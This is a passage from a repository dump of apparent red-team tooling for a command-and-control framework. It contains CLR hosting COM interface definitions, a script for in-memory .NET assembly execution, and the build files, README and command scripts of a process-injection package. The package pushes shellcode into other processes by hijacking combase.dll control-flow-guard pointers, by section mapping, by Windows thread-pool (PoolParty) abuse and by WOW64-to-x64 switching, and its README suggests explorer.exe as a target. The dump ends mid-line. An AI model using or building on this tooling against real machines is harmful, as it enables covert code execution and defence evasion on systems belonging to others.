DUMMY_METHOD(IsSerializable);\n    DUMMY_METHOD(IsAnsiClass);\n    DUMMY_METHOD(IsUnicodeClass);\n    DUMMY_METHOD(IsAutoClass);\n    DUMMY_METHOD(IsArray);\n    DUMMY_METHOD(IsByRef);\n    DUMMY_METHOD(IsPointer);\n    DUMMY_METHOD(IsPrimitive);\n    DUMMY_METHOD(IsCOMObject);\n    DUMMY_METHOD(HasElementType);\n    DUMMY_METHOD(IsContextful);\n    DUMMY_METHOD(IsMarshalByRef);\n    DUMMY_METHOD(Equals_2);\n\n    END_INTERFACE\n} TypeVtbl;\n\ntypedef struct ICLRRuntimeInfoVtbl\n{\n    BEGIN_INTERFACE\n\n        HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            ICLRRuntimeInfo* This,\n            /* [in] */ REFIID riid,\n            /* [iid_is][out] */\n            __RPC__deref_out  void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n        ICLRRuntimeInfo* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n        ICLRRuntimeInfo* This);\n\n    HRESULT(STDMETHODCALLTYPE* GetVersionString)(\n        ICLRRuntimeInfo* This,\n        /* [size_is][out] */\n        SAL__out_ecount_full_opt(*pcchBuffer)  LPWSTR pwzBuffer,\n        /* [out][in] */ DWORD* pcchBuffer);\n\n    HRESULT(STDMETHODCALLTYPE* GetRuntimeDirectory)(\n        ICLRRuntimeInfo* This,\n        /* [size_is][out] */\n        __out_ecount_full(*pcchBuffer)  LPWSTR pwzBuffer,\n        /* [out][in] */ DWORD* pcchBuffer);\n\n    HRESULT(STDMETHODCALLTYPE* IsLoaded)(\n        ICLRRuntimeInfo* This,\n        /* [in] */ HANDLE hndProcess,\n        /* [retval][out] */ BOOL* pbLoaded);\n\n    HRESULT(STDMETHODCALLTYPE* LoadErrorString)(\n        ICLRRuntimeInfo* This,\n        /* [in] */ UINT iResourceID,\n        /* [size_is][out] */\n        __out_ecount_full(*pcchBuffer)  LPWSTR pwzBuffer,\n        /* [out][in] */ DWORD* pcchBuffer,\n        /* [lcid][in] */ LONG iLocaleID);\n\n    HRESULT(STDMETHODCALLTYPE* LoadLibrary)(\n        ICLRRuntimeInfo* This,\n        /* [in] */ LPCWSTR pwzDllName,\n        /* [retval][out] */ HMODULE* phndModule);\n\n    HRESULT(STDMETHODCALLTYPE* GetProcAddress)(\n        ICLRRuntimeInfo* This,\n        /* [in] */ LPCSTR pszProcName,\n        /* [retval][out] */ LPVOID* ppProc);\n\n    HRESULT(STDMETHODCALLTYPE* GetInterface)(\n        ICLRRuntimeInfo* This,\n        /* [in] */ REFCLSID rclsid,\n        /* [in] */ REFIID riid,\n        /* [retval][iid_is][out] */ LPVOID* ppUnk);\n\n    HRESULT(STDMETHODCALLTYPE* IsLoadable)(\n        ICLRRuntimeInfo* This,\n        /* [retval][out] */ BOOL* pbLoadable);\n\n    HRESULT(STDMETHODCALLTYPE* SetDefaultStartupFlags)(\n        ICLRRuntimeInfo* This,\n        /* [in] */ DWORD dwStartupFlags,\n        /* [in] */ LPCWSTR pwzHostConfigFile);\n\n    HRESULT(STDMETHODCALLTYPE* GetDefaultStartupFlags)(\n        ICLRRuntimeInfo* This,\n        /* [out] */ DWORD* pdwStartupFlags,\n        /* [size_is][out] */\n        SAL__out_ecount_full_opt(*pcchHostConfigFile)  LPWSTR pwzHostConfigFile,\n        /* [out][in] */ DWORD* pcchHostConfigFile);\n\n    HRESULT(STDMETHODCALLTYPE* BindAsLegacyV2Runtime)(\n        ICLRRuntimeInfo* This);\n\n    HRESULT(STDMETHODCALLTYPE* IsStarted)(\n        ICLRRuntimeInfo* This,\n        /* [out] */ BOOL* pbStarted,\n        /* [out] */ DWORD* pdwStartupFlags);\n\n    END_INTERFACE\n} ICLRRuntimeInfoVtbl;\n\ntypedef struct _ICLRRuntimeInfo {\n    ICLRRuntimeInfoVtbl* lpVtbl;\n} ICLRRuntimeInfo;\n\ntypedef struct _Type {\n    TypeVtbl* lpVtbl;\n} Type;\n\ntypedef struct ICLRMetaHostVtbl\n{\n    BEGIN_INTERFACE\n\n        HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            ICLRMetaHost* This,\n            /* [in] */ REFIID riid,\n            /* [iid_is][out] */\n            __RPC__deref_out  void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n        ICLRMetaHost* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n        ICLRMetaHost* This);\n\n    HRESULT(STDMETHODCALLTYPE* GetRuntime)(\n        ICLRMetaHost* This,\n        /* [in] */ LPCWSTR pwzVersion,\n        /* [in] */ REFIID riid,\n        /* [retval][iid_is][out] */ LPVOID* ppRuntime);\n\n    HRESULT(STDMETHODCALLTYPE* GetVersionFromFile)(\n        ICLRMetaHost* This,\n        /* [in] */ LPCWSTR pwzFilePath,\n        /* [size_is][out] */\n        __out_ecount_full(*pcchBuffer)  LPWSTR pwzBuffer,\n        /* [out][in] */ DWORD* pcchBuffer);\n\n    HRESULT(STDMETHODCALLTYPE* EnumerateInstalledRuntimes)(\n        ICLRMetaHost* This,\n        /* [retval][out] */ IEnumUnknown** ppEnumerator);\n\n    HRESULT(STDMETHODCALLTYPE* EnumerateLoadedRuntimes)(\n        ICLRMetaHost* This,\n        /* [in] */ HANDLE hndProcess,\n        /* [retval][out] */ IEnumUnknown** ppEnumerator);\n\n    HRESULT(STDMETHODCALLTYPE* RequestRuntimeLoadedNotification)(\n        ICLRMetaHost* This,\n        /* [in] */ RuntimeLoadedCallbackFnPtr pCallbackFunction);\n\n    HRESULT(STDMETHODCALLTYPE* QueryLegacyV2RuntimeBinding)(\n        ICLRMetaHost* This,\n        /* [in] */ REFIID riid,\n        /* [retval][iid_is][out] */ LPVOID* ppUnk);\n\n    HRESULT(STDMETHODCALLTYPE* ExitProcess)(\n        ICLRMetaHost* This,\n        /* [in] */ INT32 iExitCode);\n\n    END_INTERFACE\n} ICLRMetaHostVtbl;\n\ntypedef struct _ICLRMetaHost\n{\n    ICLRMetaHostVtbl* lpVtbl;\n} ICLRMetaHost;\n\ntypedef struct ICorRuntimeHostVtbl\n{\n    BEGIN_INTERFACE\n\n        HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            ICorRuntimeHost* This,\n            /* [in] */ REFIID riid,\n            /* [iid_is][out] */\n            __RPC__deref_out  void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n        ICorRuntimeHost* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n        ICorRuntimeHost* This);\n\n    HRESULT(STDMETHODCALLTYPE* CreateLogicalThreadState)(\n        ICorRuntimeHost* This);\n\n    HRESULT(STDMETHODCALLTYPE* DeleteLogicalThreadState)(\n        ICorRuntimeHost* This);\n\n    HRESULT(STDMETHODCALLTYPE* SwitchInLogicalThreadState)(\n        ICorRuntimeHost* This,\n        /* [in] */ DWORD* pFiberCookie);\n\n    HRESULT(STDMETHODCALLTYPE* SwitchOutLogicalThreadState)(\n        ICorRuntimeHost* This,\n        /* [out] */ DWORD** pFiberCookie);\n\n    HRESULT(STDMETHODCALLTYPE* LocksHeldByLogicalThread)(\n        ICorRuntimeHost* This,\n        /* [out] */ DWORD* pCount);\n\n    HRESULT(STDMETHODCALLTYPE* MapFile)(\n        ICorRuntimeHost* This,\n        /* [in] */ HANDLE hFile,\n        /* [out] */ HMODULE* hMapAddress);\n\n    HRESULT(STDMETHODCALLTYPE* GetConfiguration)(\n        ICorRuntimeHost* This,\n        /* [out] */ ICorConfiguration* *pConfiguration);\n\n    HRESULT(STDMETHODCALLTYPE* Start)(\n        ICorRuntimeHost* This);\n\n    HRESULT(STDMETHODCALLTYPE* Stop)(\n        ICorRuntimeHost* This);\n\n    HRESULT(STDMETHODCALLTYPE* CreateDomain)(\n        ICorRuntimeHost* This,\n        /* [in] */ LPCWSTR pwzFriendlyName,\n        /* [in] */ IUnknown* pIdentityArray,\n        /* [out] */ IUnknown** pAppDomain);\n\n    HRESULT(STDMETHODCALLTYPE* GetDefaultDomain)(\n        ICorRuntimeHost* This,\n        /* [out] */ IUnknown** pAppDomain);\n\n    HRESULT(STDMETHODCALLTYPE* EnumDomains)(\n        ICorRuntimeHost* This,\n        /* [out] */ HDOMAINENUM* hEnum);\n\n    HRESULT(STDMETHODCALLTYPE* NextDomain)(\n        ICorRuntimeHost* This,\n        /* [in] */ HDOMAINENUM hEnum,\n        /* [out] */ IUnknown** pAppDomain);\n\n    HRESULT(STDMETHODCALLTYPE* CloseEnum)(\n        ICorRuntimeHost* This,\n        /* [in] */ HDOMAINENUM hEnum);\n\n    HRESULT(STDMETHODCALLTYPE* CreateDomainEx)(\n        ICorRuntimeHost* This,\n        /* [in] */ LPCWSTR pwzFriendlyName,\n        /* [in] */ IUnknown* pSetup,\n        /* [in] */ IUnknown* pEvidence,\n        /* [out] */ IUnknown** pAppDomain);\n\n    HRESULT(STDMETHODCALLTYPE* CreateDomainSetup)(\n        ICorRuntimeHost* This,\n        /* [out] */ IUnknown** pAppDomainSetup);\n\n    HRESULT(STDMETHODCALLTYPE* CreateEvidence)(\n        ICorRuntimeHost* This,\n        /* [out] */ IUnknown** pEvidence);\n\n    HRESULT(STDMETHODCALLTYPE* UnloadDomain)(\n        ICorRuntimeHost* This,\n        /* [in] */ IUnknown* pAppDomain);\n\n    HRESULT(STDMETHODCALLTYPE* CurrentDomain)(\n        ICorRuntimeHost* This,\n        /* [out] */ IUnknown** pAppDomain);\n\n    END_INTERFACE\n} ICorRuntimeHostVtbl;\n\ntypedef struct _ICorRuntimeHost {\n    ICorRuntimeHostVtbl* lpVtbl;\n} ICorRuntimeHost;\n\n#undef DUMMY_METHOD\n#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IMethodInfo *This)\n\ntypedef struct _MethodInfoVtbl {\n    BEGIN_INTERFACE\n\n        HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            IMethodInfo* This,\n            /* [in] */ REFIID riid,\n            /* [iid_is][out] */\n            __RPC__deref_out  void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n        IMethodInfo* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n        IMethodInfo* This);\n\n    DUMMY_METHOD(GetTypeInfoCount);\n    DUMMY_METHOD(GetTypeInfo);\n    DUMMY_METHOD(GetIDsOfNames);\n    DUMMY_METHOD(Invoke);\n\n    DUMMY_METHOD(ToString);\n    DUMMY_METHOD(Equals);\n    DUMMY_METHOD(GetHashCode);\n    DUMMY_METHOD(GetType);\n    DUMMY_METHOD(MemberType);\n    DUMMY_METHOD(name);\n    DUMMY_METHOD(DeclaringType);\n    DUMMY_METHOD(ReflectedType);\n    DUMMY_METHOD(GetCustomAttributes);\n    DUMMY_METHOD(GetCustomAttributes_2);\n    DUMMY_METHOD(IsDefined);\n\n    HRESULT(STDMETHODCALLTYPE* GetParameters)(\n        IMethodInfo* This,\n        SAFEARRAY** pRetVal);\n\n    DUMMY_METHOD(GetMethodImplementationFlags);\n    DUMMY_METHOD(MethodHandle);\n    DUMMY_METHOD(Attributes);\n    DUMMY_METHOD(CallingConvention);\n    DUMMY_METHOD(Invoke_2);\n    DUMMY_METHOD(IsPublic);\n    DUMMY_METHOD(IsPrivate);\n    DUMMY_METHOD(IsFamily);\n    DUMMY_METHOD(IsAssembly);\n    DUMMY_METHOD(IsFamilyAndAssembly);\n    DUMMY_METHOD(IsFamilyOrAssembly);\n    DUMMY_METHOD(IsStatic);\n    DUMMY_METHOD(IsFinal);\n    DUMMY_METHOD(IsVirtual);\n    DUMMY_METHOD(IsHideBySig);\n    DUMMY_METHOD(IsAbstract);\n    DUMMY_METHOD(IsSpecialName);\n    DUMMY_METHOD(IsConstructor);\n\n    HRESULT(STDMETHODCALLTYPE* Invoke_3)(\n        IMethodInfo* This,\n        VARIANT     obj,\n        SAFEARRAY* parameters,\n        VARIANT* ret);\n\n    DUMMY_METHOD(returnType);\n    DUMMY_METHOD(ReturnTypeCustomAttributes);\n    DUMMY_METHOD(GetBaseDefinition);\n\n    END_INTERFACE\n} MethodInfoVtbl;\n\ntypedef struct _MethodInfo {\n    MethodInfoVtbl* lpVtbl;\n} MethodInfo;\n\ntypedef struct ICorConfigurationVtbl\n{\n    BEGIN_INTERFACE\n\n        HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            ICorConfiguration* This,\n            /* [in] */ REFIID riid,\n            /* [iid_is][out] */\n            __RPC__deref_out  void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n        ICorConfiguration* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n        ICorConfiguration* This);\n\n    HRESULT(STDMETHODCALLTYPE* SetGCThreadControl)(\n        ICorConfiguration* This,\n        /* [in] */ IGCThreadControl* pGCThreadControl);\n\n    HRESULT(STDMETHODCALLTYPE* SetGCHostControl)(\n        ICorConfiguration* This,\n        /* [in] */ IGCHostControl* pGCHostControl);\n\n    HRESULT(STDMETHODCALLTYPE* SetDebuggerThreadControl)(\n        ICorConfiguration* This,\n        /* [in] */ IDebuggerThreadControl* pDebuggerThreadControl);\n\n    HRESULT(STDMETHODCALLTYPE* AddDebuggerSpecialThread)(\n        ICorConfiguration* This,\n        /* [in] */ DWORD dwSpecialThreadId);\n\n    END_INTERFACE\n} ICorConfigurationVtbl;\n\ntypedef struct _ICorConfiguration\n{\n    ICorConfigurationVtbl* lpVtbl;\n}ICorConfiguration;\n\ntypedef struct IGCThreadControlVtbl\n{\n    BEGIN_INTERFACE\n\n        HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            IGCThreadControl* This,\n            /* [in] */ REFIID riid,\n            /* [iid_is][out] */\n            __RPC__deref_out  void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n        IGCThreadControl* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n        IGCThreadControl* This);\n\n    HRESULT(STDMETHODCALLTYPE* ThreadIsBlockingForSuspension)(\n        IGCThreadControl* This);\n\n    HRESULT(STDMETHODCALLTYPE* SuspensionStarting)(\n        IGCThreadControl* This);\n\n    HRESULT(STDMETHODCALLTYPE* SuspensionEnding)(\n        IGCThreadControl* This,\n        DWORD Generation);\n\n    END_INTERFACE\n} IGCThreadControlVtbl;\n\ntypedef struct _IGCThreadControl\n{\n    IGCThreadControlVtbl* lpVtbl;\n}IGCThreadControl;\n\ntypedef struct IGCHostControlVtbl\n{\n    BEGIN_INTERFACE\n\n        HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            IGCHostControl* This,\n            /* [in] */ REFIID riid,\n            /* [iid_is][out] */\n            __RPC__deref_out  void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n        IGCHostControl* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n        IGCHostControl* This);\n\n    HRESULT(STDMETHODCALLTYPE* RequestVirtualMemLimit)(\n        IGCHostControl* This,\n        /* [in] */ SIZE_T sztMaxVirtualMemMB,\n        /* [out][in] */ SIZE_T* psztNewMaxVirtualMemMB);\n\n    END_INTERFACE\n} IGCHostControlVtbl;\n\ntypedef struct _IGCHostControl\n{\n    IGCHostControlVtbl* lpVtbl;\n} IGCHostControl;\n\ntypedef struct IDebuggerThreadControlVtbl\n{\n    BEGIN_INTERFACE\n\n        HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            IDebuggerThreadControl* This,\n            /* [in] */ REFIID riid,\n            /* [iid_is][out] */\n            __RPC__deref_out  void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n        IDebuggerThreadControl* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n        IDebuggerThreadControl* This);\n\n    HRESULT(STDMETHODCALLTYPE* ThreadIsBlockingForDebugger)(\n        IDebuggerThreadControl* This);\n\n    HRESULT(STDMETHODCALLTYPE* ReleaseAllRuntimeThreads)(\n        IDebuggerThreadControl* This);\n\n    HRESULT(STDMETHODCALLTYPE* StartBlockingForDebugger)(\n        IDebuggerThreadControl* This,\n        DWORD dwUnused);\n\n    END_INTERFACE\n} IDebuggerThreadControlVtbl;\n\ntypedef struct _IDebuggerThreadControl {\n    IDebuggerThreadControlVtbl* lpVtbl;\n} IDebuggerThreadControl;"
  },
  {
    "path": "Execution-BOF/execution.axs",
    "content": "var metadata = {\n    name: \"Execution-BOF\",\n    description: \"BOFs for inline execution\"\n};\n\nax.script_import(ax.script_dir() + \"No-Consolation/no_consolation.axs\")\n\n\n\nvar cmd_execute_assembly = ax.create_command(\"execute-assembly\", \"Perform in process .NET assembly execution\", \"execute-assembly /opt/windows/Seatbelt.exe -group=user\");\ncmd_execute_assembly.addArgBool(\"--async\", \"Use Async BOF\");\ncmd_execute_assembly.addArgFile(\"path\", true, \"Path to .NET assembly\");\ncmd_execute_assembly.addArgString(\"params\", \".NET assembly parameters\", \"\");\ncmd_execute_assembly.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let assembly_content = parsed_json[\"path\"];\n    let assembly_params  = parsed_json[\"params\"];\n    let async = \"\";\n    if (parsed_json[\"--async\"]) async = \"-a \";\n\n    if(assembly_content.length == 0) {\n        throw new Error(`file ${parsed_json[\"path\"]} not readed`);\n    }\n\n    let bof_params = ax.bof_pack(\"bytes,cstr\", [assembly_content, assembly_params]);\n    let bof_path = ax.script_dir() + \"_bin/execute-assembly.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof ${async}\"${bof_path}\" ${bof_params}`, \"Task: execute .NET assembly\");\n});\n\nvar group_exec = ax.create_commands_group(\"Execution-BOF\", [cmd_execute_assembly, cmd_no_consolation]);\nax.register_commands_group(group_exec, [\"beacon\", \"gopher\", \"kharon\"], [\"windows\"], []);\n"
  },
  {
    "path": "Injection-BOF/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.16)\n#project(Injection-BOF C)\n\nset(CMAKE_C_STANDARD 99)\n\n# Include directories (main _include is at root level)\ninclude_directories(${CMAKE_SOURCE_DIR}/_include)\n\n# Source files\nset(INJECT_CFG_SOURCES inject_cfg/inject_cfg.c)\nset(INJECT_SEC_SOURCES inject_sec/inject_sec.c)\nset(INJECT_POOLPARTY_SOURCES inject_poolparty/inject_poolparty.c)\nset(INJECT_32TO64_SOURCES inject_32to64/inject_32to64.c)\n\n# Compiler flags\nset(CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} -Os\")\nset(CMAKE_C_FLAGS_RELEASE \"${CMAKE_C_FLAGS_RELEASE} -s\")\n\n# Object file targets\nadd_library(inject_cfg OBJECT ${INJECT_CFG_SOURCES})\ntarget_compile_options(inject_cfg PRIVATE -masm=intel -Wall)\n\nadd_library(inject_sec OBJECT ${INJECT_SEC_SOURCES})\ntarget_compile_options(inject_sec PRIVATE -w -Wno-int-conversion -Wno-incompatible-pointer-types)\ntarget_compile_definitions(inject_sec PRIVATE BOF)\n\nadd_library(inject_poolparty OBJECT ${INJECT_POOLPARTY_SOURCES})\ntarget_compile_options(inject_poolparty PRIVATE -w -Wno-int-conversion -Wno-incompatible-pointer-types)\ntarget_compile_definitions(inject_poolparty PRIVATE BOF)\n\n# x86 target\nadd_library(inject_32to64 OBJECT ${INJECT_32TO64_SOURCES})\ntarget_compile_options(inject_32to64 PRIVATE -w -Wno-int-conversion -Wno-incompatible-pointer-types)\ntarget_compile_definitions(inject_32to64 PRIVATE BOF)\n\n# Create _bin directory\nfile(MAKE_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/_bin)\n\n# Custom commands to copy object files to _bin\nadd_custom_target(copy_inject_cfg ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:inject_cfg> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/inject_cfg.x64.o\n    DEPENDS inject_cfg\n    COMMENT \"Copying inject_cfg object file\"\n)\n\nadd_custom_target(copy_inject_sec ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:inject_sec> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/inject_sec.x64.o\n    DEPENDS inject_sec\n    COMMENT \"Copying inject_sec object file\"\n)\n\nadd_custom_target(copy_inject_poolparty ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:inject_poolparty> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/inject_poolparty.x64.o\n    DEPENDS inject_poolparty\n    COMMENT \"Copying inject_poolparty object file\"\n)\n\nadd_custom_target(copy_inject_32to64 ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:inject_32to64> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/inject_32to64.x86.o\n    DEPENDS inject_32to64\n    COMMENT \"Copying inject_32to64 object file\"\n)\n"
  },
  {
    "path": "Injection-BOF/Makefile",
    "content": "CC64 = x86_64-w64-mingw32-gcc\nCC86 = i686-w64-mingw32-gcc\nSTRIP64 = x86_64-w64-mingw32-strip --strip-unneeded\nSTRIP86 = i686-w64-mingw32-strip --strip-unneeded\nCFLAGS = -I ../_include -w -Wno-int-conversion -Wno-incompatible-pointer-types -Os -DBOF -c\n\nall: bof\n\nbof: clean\n\t@(mkdir _bin 2>/dev/null) && echo 'creating _bin directory' || echo '_bin directory exists'\n\t# 64-bit builds\n\t@($(CC64) $(CFLAGS) inject_sec/inject_sec.c -o _bin/inject_sec.x64.o && $(STRIP64) _bin/inject_sec.x64.o) && echo '[+] inject_sec' || echo '[!] inject_sec'\n\t@($(CC64) $(CFLAGS) inject_poolparty/inject_poolparty.c -o _bin/inject_poolparty.x64.o && $(STRIP64) _bin/inject_poolparty.x64.o) && echo '[+] inject_poolparty' || echo '[!] inject_poolparty'\n\t@($(CC64) -I ../_include -masm=intel -Wall -Os -c inject_cfg/inject_cfg.c -o _bin/inject_cfg.x64.o && $(STRIP64) _bin/inject_cfg.x64.o) && echo '[+] inject_cfg' || echo '[!] inject_cfg'\n\n\t# 32-bit builds\n\t@($(CC86) $(CFLAGS) inject_sec/inject_sec.c         -o _bin/inject_sec.x32.o        && $(STRIP86) _bin/inject_sec.x32.o)        && echo '[+] inject_sec (x32)'        || echo '[!] inject_sec (x32)'\n\t@#($(CC86) $(CFLAGS) inject_poolparty/inject_poolparty.c -o _bin/inject_poolparty.x32.o && $(STRIP86) _bin/inject_poolparty.x32.o) && echo '[+] inject_poolparty (x32)' || echo '[!] inject_poolparty (x32)'\n\t@($(CC86) -I ../_include -masm=intel -Wall -Os -c inject_cfg/inject_cfg.c -o _bin/inject_cfg.x32.o && $(STRIP86) _bin/inject_cfg.x32.o) && echo '[+] inject_cfg (x32)' || echo '[!] inject_cfg (x32)'\n\n\t@($(CC86) $(CFLAGS) inject_32to64/inject_32to64.c -o _bin/inject_32to64.x86.o && $(STRIP64) _bin/inject_32to64.x86.o) && echo '[+] inject_32to64' || echo '[!] inject_32to64'\n\nclean:\n\t@(rm -rf _bin)\n"
  },
  {
    "path": "Injection-BOF/README.md",
    "content": "# Injection-BOF\n\nBeacon Object Files for injects desired shellcode into target process\n\n![](_img/01.png)\n\nThe **Inject** item will be added to the context menu in the Process Browser.\n\n![](_img/02.png)\n\n![](_img/03.png)\n\n\n\n## inject-cfg\n\nA beacon object file implementation of the process injection proof-of-concept from my blog post [Control Flow Hijacking via Data Pointers](https://www.legacyy.xyz/defenseevasion/windows/2025/04/16/control-flow-hijacking-via-data-pointers.html). Hijacks control flow via overwriting `combase.dll`'s Control Flow Guard function pointers called by COM proxying functions.\n- From my testing, `explorer.exe` is the current best candidate in terms of an easy triggering mechanism due to its heavy reliance on COM proxying. Would recommend experimenting.\n- **Make sure** shellcode is 64-bit as this BOF only supports 64-bit beacons & target processes.\n- This has only been tested on windows versions `Win10 21H2 (19044.5737)` & `Win11 24H2 (26100.3775)`.\n\n```\ninject-cfg <pid> <shellcode file>\n```\n\n\n\n## inject-sec\n\nInjects desired shellcode into target process using section mapping\n```\ninject-sec <pid> <shellcode file>\n```\n\n\n## inject-poolparty\n\nA collection of process injection techniques abusing Windows Thread Pools. [**The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools**](https://www.blackhat.com/eu-23/briefings/schedule/#the-pool-party-you-will-never-forget-new-process-injection-techniques-using-windows-thread-pools-35446)\n\n| Variant ID  | Varient Description |\n| ------------- | ----------------- |\n| 1  | Overwrite the start routine of the target worker factory       |\n| 2  | Insert TP_WORK work item to the target process's thread pool   |\n| 3  | Insert TP_WAIT work item to the target process's thread pool   |\n| 4  | Insert TP_IO work item to the target process's thread pool     |\n| 5  | Insert TP_ALPC work item to the target process's thread pool   |\n| 6  | Insert TP_JOB work item to the target process's thread pool    |\n| 7  | Insert TP_DIRECT work item to the target process's thread pool |\n| 8  | Insert TP_TIMER work item to the target process's thread pool  |\n\n```\ninject-poolparty <technique id> <pid> <shellcode file>\n```\n\n\n\n## inject-32to64\n\nWOW64 to native x64 process injection. It allows a 32-bit (WOW64) process to inject x64 shellcode into a native 64-bit process by performing a context switch to 64-bit mode.\n\n- Injects x64 shellcode from a WOW64 process into a native 64-bit process\n- Performs context switching from 32-bit to 64-bit mode and back\n- Uses `RtlCreateUserThread` to create a remote thread in the target process\n\n```\ninject-32to64 <pid> <shellcode_file>\n```\n\n\n\n\n## Credits\n* secinject - https://github.com/apokryptein/secinject\n* DataInject-BOF - https://github.com/iilegacyyii/DataInject-BOF\n* PoolParty - https://github.com/SafeBreach-Labs/PoolParty\n* https://maldevacademy.com/new/modules/64\n* https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/migrate/executex64.asm"
  },
  {
    "path": "Injection-BOF/inject.axs",
    "content": "var metadata = {\n    name: \"Injection-BOF\",\n    description: \"BOFs for process injection\"\n};\n\n/// COMMANDS\n\nvar cmd_inject_cfg = ax.create_command(\"inject-cfg\", \"Inject shellcode into a target process and hijack execution via overwriting combase.dll!__guard_check_icall_fptr\", \"inject-cfg 808 /tmp/shellcode.bin\");\ncmd_inject_cfg.addArgInt(\"pid\", true);\ncmd_inject_cfg.addArgFile(\"shellcode\", true);\ncmd_inject_cfg.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let pid = parsed_json[\"pid\"];\n    let shellcode_content = parsed_json[\"shellcode\"];\n\n    let bof_params = ax.bof_pack(\"int,bytes\", [pid, shellcode_content]);\n    let bof_path = ax.script_dir() + \"_bin/inject_cfg.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Executing DataInject-BOF by @0xLegacyy\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\nvar cmd_inject_sec = ax.create_command(\"inject-sec\", \"Injects desired shellcode into target process using section mapping\", \"inject-sec 808 /tmp/shellcode.bin\");\ncmd_inject_sec.addArgInt(\"pid\", true);\ncmd_inject_sec.addArgFile(\"shellcode\", true);\ncmd_inject_sec.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let pid = parsed_json[\"pid\"];\n    let shellcode_content = parsed_json[\"shellcode\"];\n\n    let bof_params = ax.bof_pack(\"int,bytes\", [pid, shellcode_content]);\n    let bof_path = ax.script_dir() + \"_bin/inject_sec.\" + ax.arch(id) + \".o\";\n    let message = \"Task: inject shellcode (section mapping)\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\nvar cmd_inject_poolparty = ax.create_command(\"inject-poolparty\", \"Injects desired shellcode into target process using specified pool party technique\", \"inject-poolparty 7 808 /tmp/shellcode.bin\");\ncmd_inject_poolparty.addArgInt(\"technique\", true, \"1 - Overwrite the start routine, 2 - TP_WORK, 3 - Insert TP_WAIT, 4 - TP_IO, 5 - TP_ALPC, 6 - Insert TP_JOB, 7 - TP_DIRECT, 8 - TP_TIMER\");\ncmd_inject_poolparty.addArgInt(\"pid\", true)\ncmd_inject_poolparty.addArgFile(\"shellcode\", true);\ncmd_inject_poolparty.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let pid = parsed_json[\"pid\"];\n    let shellcode_content = parsed_json[\"shellcode\"];\n    let technique = parsed_json[\"technique\"];\n\n    let bof_params = ax.bof_pack(\"int,bytes,int\", [pid, shellcode_content, technique]);\n    let bof_path = ax.script_dir() + \"_bin/inject_poolparty.\" + ax.arch(id) + \".o\";\n    let message = \"Task: inject shellcode (pool party \" + \"technique \" + technique +\")\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\nvar cmd_inject_32to64 = ax.create_command(\"inject-32to64\", \"Inject x64 shellcode from WOW64 (32-bit) process into native 64-bit process [requires 32-bit agent]\", \"inject-32to64 808 /tmp/shellcode.bin\");\ncmd_inject_32to64.addArgInt(\"pid\", true);\ncmd_inject_32to64.addArgFile(\"shellcode\", true);\ncmd_inject_32to64.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    if (ax.arch(id) !== \"x32\") {\n        ax.console_message(id, \"BOF error\", \"error\", \"inject-32to64 only works on 32-bit agents\");\n        return false;\n    }\n\n    let pid = parsed_json[\"pid\"];\n    let shellcode_content = parsed_json[\"shellcode\"];\n\n    let bof_params = ax.bof_pack(\"int,bytes\", [pid, shellcode_content]);\n    let bof_path = ax.script_dir() + \"_bin/inject_32to64.x86.o\";\n    let message = \"Task: inject x64 shellcode (32-bit WOW64 -> native x64)\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\nvar group_exec = ax.create_commands_group(\"Injection-BOF\", [cmd_inject_cfg, cmd_inject_sec, cmd_inject_poolparty, 